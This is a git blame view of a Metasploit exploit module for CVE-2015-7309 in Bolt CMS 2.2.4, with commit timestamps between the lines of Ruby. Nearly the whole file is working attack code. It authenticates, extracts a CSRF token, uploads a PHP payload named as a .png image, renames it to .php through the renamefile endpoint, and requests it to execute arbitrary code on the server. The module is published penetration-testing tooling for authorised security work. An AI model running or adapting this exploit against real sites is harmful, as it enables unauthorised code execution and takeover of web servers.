Files
metasploit-gs/modules/exploits/multi/http/bolt_file_upload.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

177 lines
5.4 KiB
Ruby
Raw Normal View History

2015-09-04 04:09:16 -03:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2015-09-04 04:09:16 -03:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2015-09-04 04:09:16 -03:00
Rank = ExcellentRanking
2015-09-09 21:26:15 -03:00
include Msf::Exploit::Remote::HttpClient
2015-09-04 04:09:16 -03:00
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(
info,
2015-09-04 16:02:30 -03:00
'Name' => 'CMS Bolt File Upload Vulnerability',
2015-09-04 04:09:16 -03:00
'Description' => %q{
2015-09-10 18:28:42 -05:00
Bolt CMS contains a flaw that allows an authenticated remote
2015-09-04 16:02:30 -03:00
attacker to execute arbitrary PHP code. This module was
tested on version 2.2.4.
2015-09-04 04:09:16 -03:00
},
'License' => MSF_LICENSE,
'Author' =>
[
2015-09-04 16:02:30 -03:00
'Tim Coen', # Vulnerability Disclosure
2015-09-04 04:09:16 -03:00
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
],
'References' =>
[
['CVE', '2015-7309'],
2015-09-04 16:02:30 -03:00
['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html']
2015-09-04 04:09:16 -03:00
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2015-08-17',
2015-09-04 04:09:16 -03:00
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Bolt 2.2.4', {}]],
'DefaultTarget' => 0
))
register_options(
[
2015-09-09 01:11:35 -03:00
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
2015-09-09 21:27:57 -03:00
OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']),
2015-09-09 01:11:35 -03:00
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
])
2015-09-04 04:09:16 -03:00
end
def check
2015-09-10 04:40:12 -03:00
cookie = bolt_login(username, password)
return Exploit::CheckCode::Detected unless cookie
2015-09-08 23:54:20 -03:00
res = send_request_cgi(
'method' => 'GET',
2015-09-10 04:40:12 -03:00
'uri' => normalize_uri(target_uri.path, 'bolt'),
'cookie' => cookie
2015-09-08 23:54:20 -03:00
)
2015-09-04 04:09:16 -03:00
2015-09-10 04:40:12 -03:00
if res && res.code == 200 && res.body.include?('Bolt 2.2.4</b>: Sophisticated, lightweight & simple CMS')
return Exploit::CheckCode::Vulnerable
2015-09-08 23:54:20 -03:00
end
Exploit::CheckCode::Safe
2015-09-04 04:09:16 -03:00
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
2015-09-09 01:11:35 -03:00
def fname
datastore['FOLDERNAME']
end
2015-09-04 15:37:42 -03:00
def bolt_login(user, pass)
2015-09-04 10:45:15 -03:00
res = send_request_cgi(
'method' => 'GET',
2015-09-09 01:11:35 -03:00
'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
2015-09-04 10:45:15 -03:00
)
2015-09-09 01:11:35 -03:00
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
2015-09-08 23:15:42 -03:00
2015-09-04 10:45:15 -03:00
session_cookie = res.get_cookies
2016-02-01 15:12:03 -06:00
vprint_status("Logging in...")
2015-09-04 10:45:15 -03:00
res = send_request_cgi(
'method' => 'POST',
2015-09-09 01:11:35 -03:00
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
2015-09-04 10:45:15 -03:00
'cookie' => session_cookie,
'vars_post' => {
'username' => user,
'password' => pass,
'action' => 'login'
}
)
2015-09-09 01:11:35 -03:00
return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')
2015-09-04 10:45:15 -03:00
nil
2015-09-04 04:09:16 -03:00
end
2015-09-09 01:11:35 -03:00
def get_token(cookie, fname)
2015-09-04 15:27:28 -03:00
res = send_request_cgi(
2015-09-09 01:21:08 -03:00
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
'cookie' => cookie
2015-09-04 15:27:28 -03:00
)
if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /
return Regexp.last_match[1]
end
nil
2015-09-04 04:09:16 -03:00
end
2015-09-09 01:11:35 -03:00
def rename_payload(cookie, payload, fname)
2015-09-08 23:15:42 -03:00
res = send_request_cgi(
2015-09-09 01:21:08 -03:00
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
2015-09-04 15:37:42 -03:00
'vars_post' => {
'namespace' => 'theme',
2015-09-09 01:11:35 -03:00
'parent' => fname,
2015-09-04 15:37:42 -03:00
'oldname' => "#{payload}.png",
'newname' => "#{payload}.php"
},
'cookie' => cookie
)
2015-09-09 01:11:35 -03:00
return true if res && res.code == 200 && res.body.include?('1')
2015-09-04 15:37:42 -03:00
nil
2015-09-04 04:09:16 -03:00
end
def exploit
2016-02-01 15:12:03 -06:00
vprint_status("Authenticating using #{username}:#{password}")
2015-09-09 01:11:35 -03:00
2015-09-04 10:45:15 -03:00
cookie = bolt_login(username, password)
2015-09-09 01:11:35 -03:00
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
2016-02-01 15:12:03 -06:00
vprint_good("Authenticated with Bolt.")
2015-09-04 10:45:15 -03:00
2015-09-09 01:11:35 -03:00
token = get_token(cookie, fname)
fail_with(Failure::Unknown, 'No token found.') if token.nil?
2016-02-01 15:12:03 -06:00
vprint_good("Token \"#{token}\" found.")
2015-09-04 15:27:28 -03:00
2016-02-01 15:12:03 -06:00
vprint_status("Preparing payload...")
2015-09-04 15:37:42 -03:00
payload_name = Rex::Text.rand_text_alpha_lower(10)
2015-09-04 15:27:28 -03:00
2015-09-04 15:37:42 -03:00
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"")
data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"')
post_data = data.to_s
2015-09-04 04:09:16 -03:00
2016-02-01 15:12:03 -06:00
vprint_status("Uploading payload...")
2015-09-04 15:37:42 -03:00
res = send_request_cgi(
'method' => 'POST',
2015-09-09 01:11:35 -03:00
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
2015-09-04 15:37:42 -03:00
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
)
2015-09-09 01:11:35 -03:00
fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302
2016-02-01 15:12:03 -06:00
vprint_good("Uploaded the payload.")
2015-09-09 01:11:35 -03:00
rename = rename_payload(cookie, payload_name, fname)
fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?
php_file_name = "#{payload_name}.php"
payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)
2016-02-01 15:12:03 -06:00
vprint_status("Parsed response.")
2015-09-09 01:11:35 -03:00
register_files_for_cleanup(php_file_name)
2016-02-01 15:12:03 -06:00
vprint_status("Executing the payload at #{payload_url}.")
2015-09-09 01:11:35 -03:00
send_request_cgi(
'uri' => payload_url,
'method' => 'GET'
)
2015-09-04 04:09:16 -03:00
end
end